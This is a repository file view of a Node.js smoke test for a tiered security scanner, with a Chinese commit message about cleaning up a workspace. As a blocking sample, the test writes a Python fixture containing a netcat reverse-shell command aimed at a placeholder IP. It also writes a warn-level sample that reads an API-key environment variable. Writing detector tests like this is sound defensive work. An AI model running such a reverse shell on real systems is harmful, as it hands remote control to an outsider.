Files
dsh_ai1net_server/归档/poc-dsh-local/scan-smoke.cjs
T
admin ce8e6ceed9 chore(工作区): 纳入版本控制基线(回收 411 MB 过程产物)
回收 411 MB(470 M → 58.8 M),全部经回收站,可恢复:
- 待清理/(146.2 M,含 relay 分片 128 M 与 42 项过程目录)
- tmp/(32.4 M,按接续棒命名的过程临时区)
- .workbuddy/tmp/(39.5 M)
- 4 份 workbuddy.db 冗余副本(101 M,09-23 事故的坏副本 / 抢救产物)
- tmp/im16/gw/centrifugo 二进制(63.9 M,可重下)+ 缓存残留

入库范围:常驻规则(CODEBUDDY.md / README.md / state.py)、在途接续入口与
接续包、docs/、交付物/、交接单/、归档/、scripts/、.codebuddy/、
.workbuddy/memory/;共 398 件,其中 >60 KB 的 26 件全为文档。

排除(.gitignore):tmp/、待清理/、运行态日志与缓存、*.db 与 DB 备份整目录、
打包二进制(*.tar.gz / *.tgz)、记忆修复前备份。
2026-09-24 07:51:03 +08:00

22 lines
1.4 KiB
JavaScript

// 安全扫描分级冒烟(P0 阻断 / P1 告警)
const { mkdtempSync, writeFileSync, rmSync } = require('node:fs')
const { join } = require('node:path')
const { tmpdir } = require('node:os')
const { scanDir } = require('/opt/dshs/lib/web/security-scan.js')
const dir = mkdtempSync(join(tmpdir(), 'scan-smoke-'))
// ① P1 样例:动态执行 + 敏感 env(应告警不阻断)
writeFileSync(join(dir, 'a.js'), 'const cp = require("child_process");\nconst k = process.env.DEEPSEEK_API_KEY;\n')
let findings = []
try { findings = scanDir(dir) } catch (e) { console.log(' ❌ P1 样例被阻断(不该):', e.message.slice(0, 80)) }
console.log(' ① P1 样例 findings:', JSON.stringify(findings))
// ② P0 样例:反弹 shell(应阻断)
writeFileSync(join(dir, 'b.py'), 'import os\nos.system("nc -e /bin/sh 1.2.3.4 4444")\n')
try { scanDir(dir); console.log(' ❌ P0 样例未阻断(不该)') } catch (e) { console.log(' ✅ P0 样例已阻断:', e.message.slice(0, 90)) }
// ③ 良性样例:不应有任何 finding
const clean = mkdtempSync(join(tmpdir(), 'scan-clean-'))
writeFileSync(join(clean, 'ok.js'), 'export const hello = (n) => `hi ${n}`\n')
const cleanFindings = scanDir(clean)
console.log(' ② 良性样例 findings:', JSON.stringify(cleanFindings), cleanFindings.length === 0 ? '✅' : '❌')
rmSync(dir, { recursive: true, force: true }); rmSync(clean, { recursive: true, force: true })